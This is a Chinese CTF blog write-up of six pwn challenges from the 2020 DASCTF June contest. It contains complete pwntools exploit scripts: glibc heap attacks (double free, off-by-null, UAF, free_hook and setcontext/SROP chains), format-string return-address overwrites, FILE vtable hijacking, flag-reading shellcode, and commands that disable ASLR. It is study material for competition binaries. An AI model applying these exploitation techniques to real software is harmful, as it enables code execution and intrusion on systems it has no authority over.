2020 DASCTF六月赛

这次比赛收获蛮多,感谢师傅们出的题目,也感谢师傅们提供的方法和思路。

oooorder

分析

libc 2.27的堆题

由于程序禁用了execve,需要用setcontext执行mprotect并执行orw的shellcode。

在edit中进行了realloc

1
2
3
4
5
6
1. realloc失败的时候,返回NULL
2. realloc失败的时候,原来的内存不改变,不会释放也不会移动
3. 假如原来的内存后面还有足够多剩余内存的话,realloc的内存=原来的内存+剩余内存,realloc还是返回原来内存的地址; 假如原来的内存后面没有足够多剩余内存的话,realloc将申请新的内存,然后把原来的内存数据拷贝到新内存里,原来的内存将被free掉,realloc返回新内存的地址
4. 如果size为0,效果等同于free()
5. 传递给realloc的指针必须是先前通过malloc(), calloc(), 或realloc()分配的
6. 传递给realloc的指针可以为空,等同于malloc。

1.利用了 第四点 实现double free

2.要跳到 setcontext+53 这个位置。因为fldenv [rcx]指令会造成程序执行的时候直接crash,所以要避开这个指令。

3.frame.rip 就是我们执行完setcontext后执行的地址。而 frame.rsp 的值就是我们执行完 frame.rip 后,要执行的值,也就是说我们可以连续控制。

解题:

1.需要利用没有对数据清0,泄露libc和heap

2.改写free_hook为setcontext

3.这里先利用setcontext执行read

4.再需要用setcontext执行mprotect

实现orw。

exp1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
context(log_level='debug',arch="amd64")

p = process('./oooorder')
#p = remote("183.129.189.60",10028)
elf = ELF('./oooorder')
libc = ELF('./libc-2.27.so')

def add(size,note):
p.sendlineafter(":","1")
p.sendlineafter("?",str(size))
p.sendafter(":",note)

def edit(idx,note):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendafter(":",note)

def show():
p.sendlineafter(":","3")

def delete(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

for i in range(8):
add(0x130, 'a')

for i in range(8):
delete(7-i)

for i in range(7):
add(0x130, 'b'*8)

add(0x30, 'a'*8) #7
show()
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print "leak = "+hex(leak)
libc_base = leak -0x3ebca0
print "libc_base = "+hex(libc_base)
setcontext = libc_base + 0x52070
free_hook = libc_base + 0x3ed8e8
sys_addr = libc_base + 0x4f440
print "free_hook = "+hex(free_hook)
new_addr = free_hook & 0xFFFFFFFFFFFFF000
print "new_addr = "+hex(new_addr)

syscall = libc_base + 0xd2975
pop_rdi = libc_base + 0x2155f
pop_rsi = libc_base + 0x23e6a
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x439c8
jmp_rsp = libc_base + 0x02b1d

add(0,"") #add(8) = 0x20
edit(8,"") #delete(8)

p.sendline("2")
p.sendline("8") #delete(8)

show()
p.recvuntil('[8]:')
leak = u64(p.recv(6).ljust(8,'\x00'))
print "leak = "+hex(leak)
heap_base = leak - 0xd80
print "heap_base = "+hex(heap_base)

add(0x10,p64(free_hook))
add(0x10,p64(setcontext+53))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = new_addr
frame.rdx = 0x2000
frame.rsp = new_addr
frame.rip = syscall
fr = str(frame) #read

edit(4,fr)
delete(4)

payload = [pop_rdi,new_addr,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,jmp_rsp]

sc = shellcraft.open("flag",0)
sc += shellcraft.read("rax",new_addr+0x400,0x100)
sc += shellcraft.write(1,new_addr+0x400,0x100)
payload = flat(payload)+asm(sc)

p.send(payload)

p.interactive()

exp2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import*
context(arch="amd64")
p = process('./oooorder')
elf = ELF('./oooorder')
libc = ELF('./libc-2.27.so')

def add(size,note):
p.sendlineafter(":","1")
p.sendlineafter("?",str(size))
p.sendafter(":",note)

def edit(idx,note):
p.sendlineafter(":","2")
p.sendlineafter(":",str(idx))
p.sendafter(":",note)

def show():
p.sendlineafter(":","3")

def delete(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

for i in range(8):
add(0x130, 'a')

for i in range(8):
delete(7-i)

for i in range(7):
add(0x130, 'b'*8)

add(0x30, 'a'*8) #7
show()
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print "leak = "+hex(leak)
libc_base = leak -0x3ebca0
print "libc_base = "+hex(libc_base)
setcontext = libc_base + 0x52070
free_hook = libc_base + 0x3ed8e8
sys_addr = libc_base + 0x4f440
print "free_hook = "+hex(free_hook)
new_addr = free_hook & 0xFFFFFFFFFFFFF000
print "new_addr = "+hex(new_addr)

shellcode1 = '''
xor rdi,rdi
mov rsi,%d
mov edx,0x1000

mov eax,0
syscall

jmp rsi
''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc.sym['mprotect']

shellcode2 = '''
mov rax, 0x67616c662f ;// /flag
push rax


mov rdi, rsp ;// /flag
mov rsi, 0 ;// O_RDONLY
xor rdx, rdx ;
mov rax, 2 ;// SYS_open
syscall


mov rdi, rax ;// fd
mov rsi,rsp ;
mov rdx, 1024 ;// nbytes
mov rax,0 ;// SYS_read
syscall


mov rdi, 1 ;// fd
mov rsi, rsp ;// buf
mov rdx, rax ;// count
mov rax, 1 ;// SYS_write
syscall


'''

add(0,"") #add(8) = 0x20
edit(8,"") #delete(8)

p.sendline("2")
p.sendline("8") #delete(8)

show()
p.recvuntil('[8]:')
leak = u64(p.recv(6).ljust(8,'\x00'))
print "leak = "+hex(leak)
heap_base = leak - 0xd80
print "heap_base = "+hex(heap_base)

edit(5, str(frame))
delete(6)
add(0x10, p64(heap_base+0xe0))
add(0x10, p64(free_hook)*2)

payload = p64(setcontext+53)+p64(free_hook+0x18)*2+asm(shellcode1)
add(0x130, payload)

delete(5)

p.sendline(asm(shellcode2))

p.interactive()

springboard

分析

这题是一个非栈的格式化漏洞。利用指针跳板改写返回地址,实现shell。

解题

该题 偏移13 指向的是环境变量指针

​ 偏移39是13+26(到返回地址的偏移) 指向返回地址

image-20200630023740559

%13$p = 0x7ffdca06ae8

(0x7ffdca069ae8-0x7ffdca069a08)/8 +13 = 39

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import*
context(log_level="debug")

p = process('./springboard')
#p = remote('183.129.189.60',10029)
elf = ELF('./springboard')

rec = [0x4f2c5,0x4f322,0x10a38c]

p.sendline("stack : %13$p ; libc : %27$p")
p.recvuntil("stack : 0x")
stack = int(p.recv(12),16) - 0xe0
print "stack = "+hex(stack)

p.recvuntil("libc : 0x")
libc_base = int(p.recv(12),16)-0x401733
print "libc_base = "+hex(libc_base)

rce = libc_base + rec[0]
offset = stack&0xFFFF
off_1 = rce&0xFF
off_2 = (rce>>8)&0xFF
off_3 = (rce>>16)&0xFF

log.info('rce:\t' + hex(rce))
log.info('offset:\t' + hex(offset))
log.info('off_1:\t' + hex(off_1))
log.info('off_2:\t' + hex(off_2))
log.info('off_3:\t' + hex(off_3))

gdb.attach(p)

payload ='%' + str(offset) + 'c' +'%13$hn'
p.sendlineafter("input your name:",payload)
payload ='%' + str(off_1) + 'c' +'%39$hhn'
p.sendlineafter("input your name:",payload)

payload ='%' + str(offset+1) + 'c' +'%13$hn'
p.sendlineafter("input your name:",payload)
payload ='%' + str(off_2) + 'c' +'%39$hhn'
p.sendlineafter("input your name:",payload)

payload ='%' + str(offset+2) + 'c' +'%13$hn'
p.sendlineafter("input your name:",payload)
payload ='%' + str(off_3) + 'c' +'%39$hhn'
p.sendlineafter("input your name:",payload)

p.sendlineafter("input your name:","flzx3qc")

p.interactive()

Memory_Monster_IV

分析

该题是2.30的环境

这里librand.so是自定义的库,操作系统中没有,所以需要改一下环境变量才能正常启动程序。

1
2
3
env LD_LIBRARY_PATH=./ ./Memory_Monster_IV
或者
sudo cp librand.so /lib/x86_64-linux-gnu/

在前面泄露了libc 但是由于调用了rand 使得低3为随机化 无法找到基地址

漏洞点:数组的溢出

​ 能够多次任意地址修改,并且一次只能修改一字节

​ 还需要考虑第一次的修改不能影响程序后续的正常运行

解题

改 write的got表 改成onegadget

第一次修改很重要,需要使得程序后续的正常运行。(需要对onegadget进行调整)

第二次修改需要爆破第4位(开了ASLR),1/16机率shell。

在本地调试使用以下命令关闭ASLR

1
2
3
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
exit

由于在攻击过程中会意外的调用close(1)关闭标准输出,需要进行重定向。

1
exec 1>&2

把stdout重定向到stderr。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
context(log_level="debug")

#p = remote('183.129.189.60',10033)
p = process('./Memory_Monster_IV')
elf = ELF('./librand.so')
libc = ELF('./librand.so')

leak = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "leak = "+hex(leak)
libc_base = leak+0x30000
print "libc_base = "+hex(libc_base)

one = [0xe6b93,0xe6b96,0xe6b99,0x10afa9,0x10afb5]

p.recvuntil("index:")
p.sendline("-7624")
p.recvuntil("data:")
p.sendline('a4')
sleep(0.1)

p.sendline("-7623")
p.sendline('3f')
sleep(0.1)

p.interactive()

secret

分析

image-20200630123001429

题目给了printf的地址 也就是libc_base

第一个read 往buf的地址 写入数据a
第二个read 往a的地址(需要前面有保存的数据) 写入数据b
第三个read 往b指向的地址 写入数据c

fclose函数的功能,主要就是刷新输出缓冲区并释放缓冲区内存、释放结构体内存。仍然总结下调用了vtable中的函数:

  • 在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。
  • 关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。
  • _IO_FINISH函数为vtable中的__finish函数。

解题

第二个read 可以用来调整 _IO_jump_t 的位置(在2.23 2.27中 不可写)

利用程序的最后一次任意地址写,直接把__IO_2_1_stderr的vtable__finish__指针修改为one_gadget。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context(log_level="debug")

p = process('./secret')
elf = ELF('./secret')
libc = ELF('./libc-2.29.so')

one = [0xe237f,0xe2383,0xe2386,0x106ef8,0x106f04]
p.recvuntil("0x")
libc_base = int(p.recv(12),16)-libc.sym["printf"]
print "libc_base"+hex(libc_base)

stderr_vtable = libc.sym["_IO_2_1_stderr_"]+libc_base+0xd8
jump = libc_base+0x1e5960
jump = jump&0xffff
print "stderr_vtable = "+hex(stderr_vtable)
print "jump = "+hex(jump)

one = one[2]+libc_base
payload = p64(one)*3

#gdb.attach(p)

p.recv()
p.send(p64(stderr_vtable))
sleep(0.1)
p.send(p16(jump))
sleep(0.1)
p.send(payload)

p.interactive()

copy

分析

每次申请块之后都会free掉这个块,可以实现UAF漏洞。

解题

利用改缓冲区,实现改写free_hook为one_gadget

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import*
context(log_level='debug')

p = process('./copy')
elf = ELF('./copy')
libc = ELF('./libc-2.27.so')

def cmd(idx):
p.sendlineafter("choice:",str(idx))

def add(idx,size,payload):
cmd(idx)
if idx == 1:
cmd(1)
p.sendlineafter("input size:",str(size))
p.sendafter("input data:",payload)
else:
cmd(1)
p.sendafter("input data:",payload)

def free(idx,idx1):
cmd(idx)
cmd(2)
p.sendlineafter("index?\n",str(idx1))

def show(idx,idx1):
cmd(idx)
cmd(3)
p.sendlineafter("index?\n",str(idx1))


add(1,0x90,"a")
free(1,0)
add(1,0x90,"b")
show(1,0)

p.recvuntil("data: ")
leak = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak - 0x11eb0
print "heap_base = "+hex(heap_base)

add(1,0x90,'a')
free(1,0)
free(1,1)

add(2,0x90,p64(heap_base+0x10))

payload = p64(0x101)+p64(0x0108)
payload += p64(0)*6
payload += p64(heap_base+0x10+0x60)
payload += p64(leak+0xa0)
payload += p64(0)+p64(0x31)
payload += p64(0)*3+p64(0x21)
payload += p64(leak+0xb0+0x10-0x20)
payload += p64(heap_base+0x10+0x50)

add(2,0x90,payload)
show(1,0)
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
libc_base = leak - 0x3ebca0
print "libc_base = "+hex(libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
sys_addr = libc_base+libc.sym["system"]

payload = p64(0)*5+p64(0x31)+p64(0)*5
o_g = [0x4f2c5,0x4f322,0x10a38c]
one = o_g[1]+libc_base

free(2,1)
add(2,0x90,payload)
add(1,0x18,p64(free_hook)*3)

free(1,1)
add(1,0x60,p64(one))

p.interactive()

easy_heap

分析

2.27的off by null

image-20200630163642829

题解

参考 cnitlrt 的 https://www.jianshu.com/p/056c9db22d81

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
from pwn import*
context(arch="amd64")
#p = remote('183.129.189.60',10027)
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

def add(idx,size,content):
p.sendlineafter(":","1")
p.sendlineafter(">>",str(idx))
p.sendlineafter(">>",str(size))
p.sendafter(">>",content)

def free(idx):
p.sendlineafter(":","2")
p.sendlineafter(">>",str(idx))

def show(idx):
p.sendlineafter(":","3")
p.sendlineafter(">>",str(idx))

def edit(idx,content):
p.sendlineafter(":","4")
p.sendlineafter(">>",str(idx))
p.sendafter(">>",content)

for i in range(7):
add(i,0x68,"aaaa")
for i in range(7):
add(i+7,0xf8,"aaaa")

add(14,0xf8,"aaaa")
add(15,0x68,"aaaa")
add(16,0xf8,"aaaa")
add(17,0x68,"aaaa")

for i in range(14):
free(i)

free(15)
free(14)
add(0,0x68,"b"*0x60+p64(0x100+0x70))
free(16)

add(19,0x110,"a"*0xf0+p64(0)+p64(0x101))
add(18,0x140,"a"*8)
edit(18,"a"*0xd0+p64(0)+p64(0x21)+p64(0)+p64(0x21)*3)

free(0)
show(19)
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3ebca0
print "libc_base = "+hex(libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = 0x520a5+libc_base
print "free_hook = "+hex(free_hook)
print "setcontext = "+hex(setcontext)

edit(19,"\x00"*0xf0+p64(0)+p64(0x101)+p64(0)+p64(free_hook-0x20))
add(0,0xf8,"\x00")
edit(19,"\x00"*0xf0+p64(0)+p64(0x71))
edit(18,"\x00"*0x40+p64(0)+p64(0x21)*3)
free(0)
edit(19,"\x00"*0xf0+p64(0)+p64(0x71)+p64(free_hook-0x13))

add(0,0x68,"\x00")
add(1,0x68,"\x00"*3+p64(setcontext))

new_addr = free_hook&0xfffffffffffff000
syscall = libc_base + 0xd2975
pop_rdi = libc_base + 0x2155f
pop_rsi = libc_base + 0x23e6a
pop_rdx = libc_base + 0x01b96
pop_rax = libc_base + 0x439c8
jmp_rsp = libc_base + 0x02b1d
payload = [pop_rdi,new_addr,pop_rsi,0x2000,pop_rdx,0x7,pop_rax,10,syscall,jmp_rsp]

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = new_addr
frame.rdx = 0x2000
frame.rsp = new_addr
frame.rip = syscall
fr = str(frame) #read

edit(18,fr)
free(18)

sc = """
mov rax, 0x67616c662f
push rax

mov rdi, 0
mov rsi, rsp
mov rdx, 0
mov rax, SYS_openat
syscall ;//openat(0, "/flag", 0)

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_read
syscall ;//read(fp, rsp, 0x100)

mov rdi, 1
mov rsi, rsp
mov rdx, 0x100
mov rax, SYS_write
syscall ;//write(1, rsp, 0x100)

mov rax, SYS_exit
syscall
"""
payload = flat(payload) + asm(sc)
p.send(payload)

p.interactive()

azez_heap(待复现)

cnitlrt师傅

https://blog.csdn.net/qq_31457355/article/details/106981569?utm_source=app

Reward
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • © 2015-2021 John Doe
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信